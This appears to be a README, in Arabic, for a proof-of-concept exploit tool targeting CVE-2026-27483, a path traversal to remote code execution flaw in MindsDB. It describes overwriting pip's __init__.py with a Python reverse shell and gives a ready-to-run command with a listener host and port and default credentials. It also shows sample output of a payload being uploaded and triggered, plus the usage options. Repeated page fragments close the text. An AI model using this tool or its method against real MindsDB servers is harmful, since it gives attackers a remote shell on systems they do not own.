CVE-2026-27483

MindsDB: إثبات المفهوم لثغرة اجتياز المسار إلى RCE

يعتمد هذا السكريبت الإثباتي على الاستشارة التالية على GitHub

افتراضيًا، لا يستخدم MindsDB المصادقة
يدعم إثبات المفهوم وضعي غير المصادق والمصادق
يمكننا الاستعلام عن /api/handlers/ للعثور على المعالجات المتاحة، واستخدام أي اسم معالج متاح لكن غير مثبت
يقوم إثبات المفهوم بالكتابة فوق /venv/lib/python3.10/site-packages/pip/__init__.py
يتم كتابة شل عكسية بلغة بايثون إلى المسار أعلاه ثم تشغيلها

python cve-2026-27483.py -lh 192.168.0.100 -lp 4444 -u admin -p password

-------------------------------------
--- CVE-2026-27483 ------------------
--- MindsDB Path Traversal to RCE ---
-------------------------------------

[>] Found By : XlabAITeam
[>] PoC By   : Lohitya Pushkar (thewhiteh4t)

[>] Target   : http://127.0.0.1:47334
[>] LHOST    : 192.168.0.100
[>] LPORT    : 4444

[*] Checking status...

[*] MindsDB Version : 25.9.1.0
[+] Login successful!
[*] Uploading payload : qwvhotfj
[+] Payload uploaded!
[*] Triggering payload...

التبعيات

pip3 install requests packaging

الاستخدام

python cve-2026-27483.py -h
usage: cve-2026-27483.py [-h] [-rh RH] [-rp RP] [-lh LH] [-lp LP] [-u U] [-p P]

options:
  -h, --help  show this help message and exit
  -rh RH      Target host
  -rp RP      Target port
  -lh LH      Listener host
  -lp LP      Listener port
  -u U        Username
  -p P        Password

cve-2026-27483

الأكثر شعبية

CVE-2026-27483

MindsDB: إثبات المفهوم لثغرة اجتياز المسار إلى RCE

التبعيات

الاستخدام